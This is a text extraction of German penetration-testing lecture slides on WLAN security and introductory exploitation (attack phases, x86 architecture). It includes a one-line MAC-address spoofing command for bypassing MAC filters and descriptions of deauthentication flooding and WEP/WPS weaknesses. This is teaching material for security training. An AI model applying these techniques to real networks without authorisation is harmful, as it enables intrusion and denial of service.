Matthias Sattler, SySS GmbH

156 März 2015 Penetration Testing: WLAN

CSMA/CA

• CSMA = Carrier Sense Multiple Access

• CA = Collision Avoidance

• Bedeutung: Mehrfachzugriff mit Trägerprüfung und Kollisionsvermeidung

Wichtig ist hier nur: Kollisionserkennung ist prinzipbedingt nicht möglich.

Page 157: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

157 März 2015 Penetration Testing: WLAN

Problem: Versteckte Endgeräte

• A sendet und erreicht B, aber nicht C

• C sendet und erreicht B, aber nicht A

• A kann nicht erkennen ob C sendet und umgekehrt

• A und C wollen senden Kollision bei B

Page 158: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

158 März 2015 Penetration Testing: WLAN

Lösung: RTS/CTS

• A will Daten senden

• Vor Übertragungsbeginn: A sendet ein RTS

• Zugangspunkt strahl daraufhin ein CTS aus. Alle Stationen, die das CTS empfangen, halten Zeitschlitz frei A kann nun senden.

Problem: CTS ist für DoS-Angriffe sehr gut geeignet.

Page 159: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

159 März 2015 Penetration Testing: WLAN

Begriffe & Abkürzungen

Page 160: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

160 März 2015 Penetration Testing: WLAN

Begriffe & Abkürzungen

Page 161: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

161 März 2015 Penetration Testing: WLAN

AdHoc-Modus

Verbund von mehreren WLAN-Geräten ohne Benutzung eines Accesspoints.

Page 162: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

162 März 2015 Penetration Testing: WLAN

Infrastruktur-Modus

Verbund von mehreren WLAN-Geräten über einen Accesspoint.

Page 163: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

163 März 2015 Penetration Testing: WLAN

Monitor-Modus

• Spezieller Modus der PHY-Schicht

• WLAN-Karte liest alle 802.11-Rahmen und reicht diese an die höheren Schichten weiter – nicht nur die Rahmen, welche für sie bestimmt sind

• Wird in erster Linie von WLAN-Sniffern verwendet

Page 164: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

164 März 2015 Penetration Testing: WLAN

AdHoc vs. Infrastruktur: Vor-/Nachteile

Page 165: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

165 März 2015 Penetration Testing: WLAN

WLAN-Sniffing

Page 166: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

166 März 2015 Penetration Testing: WLAN

Sniffing-Airodump

Page 167: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

167 März 2015 Penetration Testing: WLAN

Sniffing-Aircrack / Aircrack-NG

Page 168: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

168 März 2015 Penetration Testing: WLAN

Sniffing-Aircrack / Aircrack-NG

Page 169: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

169 März 2015 Penetration Testing: WLAN

Exkurs „Offenes WLAN“

Page 170: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

170 März 2015 Penetration Testing: WLAN

Exkurs „Offenes WLAN“

• Ungesicherte WLANs sind NICHT vertrauenswürdig!

• Die Präsenz eines Hackers wird nicht bemerkt!

• Öffentliche HotSpots erfordern besondere Vorsicht!

Page 171: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

171 März 2015 Penetration Testing: WLAN

Sicherheit im WLAN / WLAN-Hacking

Page 172: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

172 März 2015 Penetration Testing: WLAN

Anforderungen

Generell: Drei Anforderungen bezüglich der Sicherheit eines Netzwerkes:

• Authentifizierung & Autorisierung

• Integrität

• Vertraulichkeit

Page 173: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

173 März 2015 Penetration Testing: WLAN

Deaktivierung des SSID-Broadcasts

• Über den regelmäßig ausgestrahlten Beacon erfolgt eine Rundsendung der eigenen (E)SSID des AP

• Die meisten APs erlauben Unterdrückung des Broadcasts Funknetzname wird Clients nicht bekanntgegeben

• Keine Authentifizierung am AP durch Client möglich SSID = „shared secret“

Page 174: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

174 März 2015 Penetration Testing: WLAN

Deaktivierung des SSID-Broadcasts

• ABER: Jeder Client übermittelt seine SSID während des Handshakes unverschlüsselt

• Sniffer kann gültige SSIDs ermitteln

• Folge daraus: nur ein Trivialschutz der Infrastruktur vor unberechtigten Zugriffen.

Page 175: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

175 März 2015 Penetration Testing: WLAN

MAC-Filterung am Access Point

• Die MAC-Adressen aller gültigen Clients werden auf dem AP in einer Liste verwaltet.

• Nur Systeme mit einer gültigen MAC-Adresse können sich erfolgreich am AP authentifizieren.

Page 176: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

176 März 2015 Penetration Testing: WLAN

MAC-Filterung am Access Point

Page 177: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

177 März 2015 Penetration Testing: WLAN

Vorteile der MAC-Filterung

• Bieten die meisten Hersteller an

• Filter ist nicht sofort als solcher erkennbar

• Viele unbedarfte Angreifer scheitern schon an der Manipulation der MAC-Adresse.

Page 178: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

178 März 2015 Penetration Testing: WLAN

Nachteile der MAC-Filterung

• Die meisten weitverbreiteten Theorien über MAC-Adressen:

– statisch

– fest

– eingebrannt einzigartig

Page 179: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

179 März 2015 Penetration Testing: WLAN

Nachteile der MAC-Filterung

• Die meisten weitverbreiteten Theorien über MAC-Adressen:

– statisch

– fest

– eingebrannt einzigartig

FALSCH!!!

Page 180: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

180 März 2015 Penetration Testing: WLAN

Nachteile der MAC-Filterung

• MAC-Adressen können innerhalb von Sekunden geändert werden:

– Bsp. (unter Linux): ifconfig wlan0 hw ether 00:11:22:33:44:55

• Gültige MAC-Adressen können über einen Sniffing-Angriff herausgefunden werden

Page 181: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

181 März 2015 Penetration Testing: WLAN

802.11: Authentifizierung am AP

• Zwei verschiedene Methoden:

– Open System

– Shared Key

• Beide Verfahren nur erfolgreich, wenn der Client versucht, sich mit der SSID des APs an diesem anzumelden.

Page 182: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

182 März 2015 Penetration Testing: WLAN

Deauthentication Flooding

• APs führen Liste mit assoziierten/authentisierten Clients

• Begrenzter Speicherplatz in der Liste

• APs können abstürzen, wenn Liste überläuft

Page 183: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

183 März 2015 Penetration Testing: WLAN

Deauthentication Flooding

• APs führen Liste mit assoziierten/authentisierten Clients

• Begrenzter Speicherplatz in der Liste

• APs können abstürzen, wenn Liste überläuft

Flooding mit gefakten Association/Authentication Requests

Page 184: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

184 März 2015 Penetration Testing: WLAN

Deauthentication Flooding

• APs können assoz./auth. Clients de-assoz./deauth.

• Dies geschieht über Managementframes (unverschlüsselt)

• Authentifizierung dieser Frames erfolgt über BSSID des AP - Fake möglich

Flooding mit gefakten De-Authentication-Frames verhindert Kommunikation

Page 185: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

185 März 2015 Penetration Testing: WLAN

Demo „Deauthentication-Flooding“

Page 186: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

186 März 2015 Penetration Testing: WLAN

WEP

• Offene Architektur erfordert Zusatzmechanismen, um Vertraulichkeit zu garantieren Datenverschlüsselung

• WEP = Wired Equivalent Privacy

• Erster Ansatz des IEEE um Vertraulichkeit und Integrität in 802.11-Netzen herzustellen

Page 187: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

187 März 2015 Penetration Testing: WLAN

WEP

• Offene Architektur erfordert Zusatzmechanismen, um Vertraulichkeit zu garantieren Datenverschlüsselung

• WEP = Wired Equivalent Privacy

• Erster Ansatz des IEEE um Vertraulichkeit und Integrität in 802.11-Netzen herzustellen

ABER: WEP ist NICHT sicher!

Page 188: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

188 März 2015 Penetration Testing: WLAN

Demo „WEP-Hacking“

Page 189: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

189 März 2015 Penetration Testing: WLAN

WPA

Zwei unterschiedliche Varianten:

• WPA Enterprise

– Authentifizierung über IEEE 802.1x und EAP gegen RADIUS-Server

– Integritätsprüfung durch Michael MIC

– Vertraulichkeit durch Verwendung von TKIP

Page 190: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

190 März 2015 Penetration Testing: WLAN

WPA

Zwei unterschiedliche Varianten:

• WPA PSK

– Authentifizierung mittels pre-shared key

– Integritätsprüfung durch Michael MIC

– Vertraulichkeit durch Verwendung von TKIP

Page 191: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

191 März 2015 Penetration Testing: WLAN

WPA2

Zwei unterschiedliche Varianten:

• WPA2 Enterprise

– Authentifizierung über IEEE 802.1x und EAP gegen einen RADIUS-Server

– Integritätsprüfung durch CCMP-MAC, alternativ MIC

– Vertraulichkeit durch Verwendung von AES-CCMP, alternativ TKIP

Page 192: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

192 März 2015 Penetration Testing: WLAN

WPA2

Zwei unterschiedliche Varianten:

• WPA2 PSK

– Authentifizierung mittels pre-shared key

– Integritätsprüfung durch CCMP-MAC, alternativ MIC

– Vertraulichkeit durch Verwendung von AES-CCMP, alternativ TKIP

Page 193: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

193 März 2015 Penetration Testing: WLAN

Demo „WPA2-Hacking“

Page 194: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

194 März 2015 Penetration Testing: WLAN

WEP / WPA / WPA2

Page 195: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

195 März 2015 Penetration Testing: WLAN

IEEE 802.1x

• Drei beteiligte Instanzen:

– Supplicant

– Authenticator

– Authentication Server

Page 196: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

196 März 2015 Penetration Testing: WLAN

EAP

• EAP-Nachrichtentypen:

– EAP-Request

– EAP-Response

– EAP-Failure

– EAP-Success

Page 197: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

197 März 2015 Penetration Testing: WLAN

EAP

• (weitverbreitete) EAP-Methoden:

Page 198: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

198 März 2015 Penetration Testing: WLAN

802.11i/RSN

• Schlüsselhierarchie/-management

– Paarweise Schlüssel

– Gruppenschlüssel

Page 199: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

199 März 2015 Penetration Testing: WLAN

802.11i/RSN

Page 200: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

200 März 2015 Penetration Testing: WLAN

802.11i/RSN

Page 201: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

201 März 2015 Penetration Testing: WLAN

802.11i/RSN

Page 202: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

202 März 2015 Penetration Testing: WLAN

802.11i/RSN

Page 203: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

203 März 2015 Penetration Testing: WLAN

802.11i/RSN

• TKIP + Michael MIC

• AES-CCMP

Page 204: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

204 März 2015 Penetration Testing: WLAN

WPS

• Standard der WiFi-Alliance zum einfachen Aufbau eines drahtlosen, verschlüsselten Netzwerkes (2007)

• Drei Wege zur einfachen Kommunikation:

– Push button connect

– PIN configuration – internal Registrar

– PIN configuration – external Registrar

Verfahren besitzt Schwachstellen

Page 205: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

205 März 2015 Penetration Testing: WLAN

Demo „WPS-Hacking“

Page 206: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

206 März 2015 Penetration Testing: WLAN

Exkurs „Rogue AP“

Page 207: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Matthias Sattler, SySS GmbH

207 März 2015 Penetration Testing: WLAN

FEIERABEND...

Vielen Dank für Ihre Aufmerksamkeit!

Fragen: [email protected]

Page 208: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

208 März 2015 Penetration Testing

Exploiting Generell lassen sich ausnutzbare Schwachstellen in Softwareprodukten in die folgenden Kategorien einteilen: 1. Fehler in der Architektur 2. Fehler in der Anwendungslogik 3. Fehler in der Datenverarbeitung

– Buffer Overflows • Stack Overflow • Heap Overflow

– Format String-Schwachstellen – Off-by-One-Schwachstellen

4. Programmierfehler – Format String-Schwachstellen – Use-after-free-Schwachstellen

Footprinting

Scannen

Enumeration

Zugriff erlangen

Privilege Escalation

Plündern

Spuren beseitigen

Hintertür einbauen

Denial of Service

Page 209: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

209 März 2015 Penetration Testing

Exploiting

erfordert Kenntnisse über

• Hardware-Architektur (x86, ARM, …)

• Software-Architektur (Windows, Linux, …)

• Programmiersprachen

• Werkzeuge (Debugger, Disassembler, …)

Page 210: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

210 März 2015 Penetration Testing

Kompilierung

Source Code

Zwischencode

Assembler

Binärcode Ausführbare Datei

Konzept / Flussdiagramm

Page 211: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

211 März 2015 Penetration Testing

Quellcode (C)

#include<stdio.h>

int main() {

printf("Hello World\n");

return 0;

}

Page 212: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

212 März 2015 Penetration Testing

Assembler / Maschinencode

Adresse Opcode Assembler-Befehl

-----------------------------------------

00401000 55 PUSH EBP

00401001 8BEC MOV EBP,ESP

00401003 68 00B04000 PUSH 0x0040B000

00401008 E8 07000000 CALL sub_401014

0040100D 83C4 04 ADD ESP,4

00401010 33C0 XOR EAX,EAX

00401012 5D POP EBP

00401013 C3 RETN

0040B000 48656C6C6F… db ‘Hello World‘,13,0

Page 213: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

213 März 2015 Penetration Testing

Warum Maschinensprache

• Quellcode wird vor der Ausführung in Maschinensprache übersetzt • Quellcode ist evtl. nicht verfügbar (alte Software / Malware / Closed

Source) Für das Verständnis von Maschinensprache ist das Verständnis der Architektur Vorraussetzung

Adresse Opcode Assembler-Befehl

-----------------------------------------

00401000 55 PUSH EBP

00401001 8BEC MOV EBP,ESP

00401003 68 00B04000 PUSH 0x0040B000

00401008 E8 07000000 CALL sub_401014

0040100D 83C4 04 ADD ESP,4

00401010 33C0 XOR EAX,EAX

00401012 5D POP EBP

00401013 C3 RETN

Page 214: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

214 März 2015 Penetration Testing

Von-Neumann-Architektur 1

• Praktisch alle modernen Computer sind VNA • Code und Daten liegen nebeneinander im selben Arbeitsspeicher • Programm besteht aus sequentieller Folge von Befehlen, evtl. mit

Sprungbefehlen • Von-Neumann-Zyklus:

1. Fetch 2. Decode 3. Fetch Operands 4. Execute 5. Write Back

Page 215: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

215 März 2015 Penetration Testing

Von-Neumann-Architektur 2

Komponenten in der VNA:

• ALU (Arithmetisch-Logische-Einheit / „Prozessor“) Führt Maschinencode aus

• Control Unit Zuständig für Abarbeitung von Befehlen

• Speicher Speichert Programme und Daten

• Ein/Ausgabe-Einheit Schnittstelle zu Tastatur / Bildschirm / Festplatte etc.

Page 216: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

216 März 2015 Penetration Testing

Von-Neumann-Architektur 3

Code Daten

Befehl 1

Befehl 2

Befehl 3

Daten 1

Daten 2

Daten 3

Daten 4

Prozessor

Speicher

Page 217: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

217 März 2015 Penetration Testing

Register

• Kleine (wenige Byte groß), sehr schnelle Speicher • Ähnlich wir Variablen in höheren Programmiersprachen • Nur wenige Register verfügbar

• Speicherzugriffe werden meistens über Register

durchgeführt: 1. R1 = 100 2. R2 = [0x00401234] 3. R3 = R2 + R1 4. [0x00401238] = R3

Page 218: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

218 März 2015 Penetration Testing

RISC (Reduced Instruction Set Computer)

• Wenige Befehle

• Viele Register

• Einheitliche Instruktionslänge (z.B. immer 32 Bit)

• Sehr „Low Level“

• Einfach zu Disassemblieren

• Schwer zu verstehen

• Beispiel: ARM

Page 219: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

219 März 2015 Penetration Testing

CISC (Complex Instruction Set Computer)

• Viele verschiedene Befehle • Wenige Register, aber Spezialregister • Befehle sind unterschiedlich lang • Schwieriger zu disassemblieren • Programme näher an Hochsprache (z.B.

Schleifenbefehle, Direkter Speicherzugriff) • Dadurch leichter lesbar • Beispiel: Intel 80x86

Page 220: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

220 März 2015 Penetration Testing

Byte-Reihenfolge / Endianess

• Big Endian:

Signifikantestes Byte liegt im Speicher vorne

Analog: Uhrzeit (13:37:00 Uhr)

• Little Endian:

Signifikantestes Byte liegt im Speicher hinten

Analog: Datum (13.02.2014)

Page 221: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

221 März 2015 Penetration Testing

Unser Fokus: Intel 80x86 (IA-32)

• Wir betrachten Intel 80x86er-Architektur (seit

1978) • Kontinuierliche Weiterentwicklung (32 Bit, FPU,

MMX, SSE, SSE2, SSE3, …) • IA32-Architektur (seit 80386, 1985) ist auch 2014

die beherrschende Architektur • 64-Bit-Erweiterung AMD64 spielt für uns keine

Rolle (wichtig für Betriebsysteme, Treiber, speicherhungrige Applikationen)

Page 222: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

222 März 2015 Penetration Testing

IA32-Eckdaten

• 32 Bit-Register

• 32 Bit-Adressbus (max. 4GB Speicher)

• Little Endian

• CISC – Wenige Register

– Komplexe Speicherverwaltung

– Viele Befehle (mehrere hundert verschiedene)

– Befehle unterschiedlich lang (1 Byte bis 15 Bytes)

Page 223: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

223 März 2015 Penetration Testing

Prozessor-Register Register Verwendung

EAX Akkumulator

EBX Basis Register

ECX Counter Register

EDX Data Register

ESI Source Index

EDI Destination Index

Register Verwendung

ESP Stack Pointer

EBP Base Pointer

EIP Instruction Pointer

EFlags Flags

Es gibt durch spätere Architektur-Erweiterungen (MMX, SSE) unzählige weitere Register, die aber in „normalem“ Code so gut wie nie verwendet werden. Ausnahme: z.B. 3D-Berechnungen, Bild- und Video-Verarbeitung, Kryptographie (z.B. John the Ripper)

Segment-Register

CS, DS, ES, FS, GS, SS

